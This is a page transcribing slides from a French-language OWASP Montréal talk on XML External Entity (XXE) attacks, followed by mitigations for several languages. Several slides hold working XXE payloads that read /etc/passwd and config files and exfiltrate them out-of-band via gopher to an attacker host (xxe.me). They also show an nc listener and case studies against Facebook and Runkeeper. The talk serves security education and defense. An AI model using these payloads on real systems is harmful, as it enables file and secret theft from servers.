Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XXE : À l’assaut des analyseurs XML par Philippe Arteau

XXE : À l’assaut des analyseurs XML par Philippe Arteau

OWASP Montréal - 23 Octobre - XXE : À l’assaut des analyseurs XML

PRÉSENTATEUR PRINCIPAL: Philippe Arteau

RÉSUMÉ: L'utilisation d’XML est fortement répandue. Le format est utilisé pour des fichiers de configuration, pour des métadonnées, pour des documents textes, et bien plus. La prise en charge de fichiers XML n’est pas sans risque. La plupart des analyseurs XML ne sont pas sécuritaires par défaut pour le traitement de fichier externe. Cette présentation fera un survol des vulnérabilités de type « Xml eXternal Entity » et de l’étendue des risques pour différents langages de programmation. Plusieurs démonstrations sont prévues.

BIO: Philippe est conseiller en sécurité applicative pour le Groupe Technologies Desjardins. Au quotidien, il s’occupe d’effectuer des tests d’intrusions et des revues de code. Il a découvert des vulnérabilités importantes dans plusieurs logiciels populaires incluant Google Chrome, DropBox, ESAPI et Jira.

QUAND: 23 Octobre 2014 à 18h00

OÙ: École de Technologie Supérieure Local A-3230, 1100 Rue Notre-Dame Ouest, Montréal, QC H3C 1K3

PARTENAIRE ACADÉMIQUE: ETS - DCI http://dciets.com/

WEBCAST: https://www.youtube.com/watch?v=MZviLB9-42E

OWASP Montréal

October 23, 2014
Tweet

More Decks by OWASP Montréal

Other Decks in Technology

Transcript

  1. Agenda • Ingrédients ◦ Entités XML ◦ Entités SYSTEM •

    Attaque ◦ Scénario ◦ Limitations ◦ Astuces PHP / Java • Études de cas ◦ Facebook ◦ Runkeeper • Mitigations ◦ Ruby/PHP/Python ◦ Java/.NET XML
  2. Entité XML <!DOCTYPE foo [ <!ENTITY prefix "app1_" > ]>

    <list><e>&prefix;a</e><e>&prefix;b</e> <e>&prefix;c</e></list> <list><e>app1_a</e><e>app1_b</e><e>app1_c</e> </list>
  3. Entité SYSTEM <!DOCTYPE foo [ <!ENTITY config SYSTEM "file:///extra/config" >

    ]> <config><db>192.168.6.102</db>&config;</config> <config><db>192.168.6.102</db> <ws_url>http://a.com/b.wsdl</ws_url> <prod>false</prod> </config>
  4. Limitations Lecture de fichiers mais… if($user == ‘admin’ && $password

    == ‘Hackfest’) <?xml version="1.0" encoding="UTF-8"?><secret>[...]</secret> I <3 Hackfest & NorthSec
  5. Pseudo-protocole PHP <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64- encode/resource=/config.php">

    ]> <data>&xxe;</data> <data>PD9waHANCiRwYXNzd29yZCA9ICJZT0xPIjsNCj8+ </data>
  6. Combinaison d’entité (Java) <!DOCTYPE foo [ <!ENTITY % file SYSTEM

    "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> %dtd;]> <data>&send;</data> <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/?%file;'>"> %all;
  7. Combinaison d’entité (Java) <!DOCTYPE foo [ <!ENTITY % file SYSTEM

    "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> %dtd;]> <data>&send;</data> <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/?%file;'>"> %all; <!ENTITY % file SYSTEM "file:///etc/passwd">
  8. Combinaison d’entité (Java) <!DOCTYPE foo [ <!ENTITY % file SYSTEM

    "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> %dtd;]> <data>&send;</data> <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me: 1337/?root:!:0:0::/:/usr/bin/[...]'>"> %all;
  9. Attaque effective (- Nov 2013) 2. Discovery Référence: XXE in

    OpenID [...] 1. Authentification GET /openid/receiver.php?[..]& openid.op_endpoint=https: //evil.com/id&[...] 3. Information <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "/etc/passwd" > ]> <xrd:Service priority="0"> <xrd:Type>&xxe;</xrd:Type> [...] 4. Résultat Endpoint mismatch. Expected "[...]" got "root:x:0:0:root:\/root: \/bin\/bash\n \ bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \ daemon:x:2:2:daemon:\/sbin: \/sbin\/nologin
  10. 5. (retour) Téléversement de fichiers GPX 2. http://[..]/evil.dtd Référence: XXE

    on Runkeeper [...] 6. Confirm ation 1. Upload Fichier G PX <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://xxe.me/evil.dtd"> %dtd;]> <gpx 3. (retour) <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me: 1337/xxe?%file;'>"> %all; 4. gopher://[..]/?FICHIER $ nc -nlvk 1337 Listening on [0.0.0.0] Connection from [74.50.53.234] port 1337 [tcp/*] accepted root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin: /bin/sh bin:x:2:2:bin:/bin:/bin/sh
  11. Ruby • REXML (utilisé par rails) ◦ Mise à jour

    requise pour XEE (CVE-2014-8080) • Plusieurs librairies vulnérables ◦ nokogiri (issue 693) ◦ OneLogin ruby-saml (issue 126)
  12. PHP • libxml ◦ Mise à jour requise PHP version

    >= 5.3.23 • Identification de cas à risque : $doc = simplexml_load_string($content, NULL, LIBXML_NOENT);
  13. Python • xml.sax • xml.dom.pulldom : Vulnérable au XXE Références:

    XXE attacks and disabling remote entity XML Vulnerabilities - python.org parser = xml.sax.make_parser() parser.setFeature(xml.sax.handler.feature_external_ges, 0)
  14. Java (SaxParser) • Mise à jour de la JVM (protocole

    gopher) • Paramètres requis Scanneur automatisé : FindBugs spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  15. .NET (System.XML) • .NET 3.5 ◦ XmlReader sécuritaire par défault

    ◦ XmlTextReader doit être configuré: • .NET 4.0 ◦ Sécuritaire XmlTextReader reader = new XmlTextReader(stream); reader.ProhibitDtd = true; Référence : https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing#.NET
  16. Conférences sur le même sujet Attacking XML Preprocessing - Nicolas

    Grégoire What You Didn't Know About XML External Entities Attacks - Timothy Morgan XML Out-of-Band Data Retrieval - Alexey Osipov and Timur Yunusov
  17. Articles et papiers • Identifying Xml eXternal Entity vulnerability (XXE)

    - Moi :) • XML Data Retrieval - Alexey Osipov and Timur Yunusov • XML Schema, DTD, and Entity Attacks - Timothy D. Morgan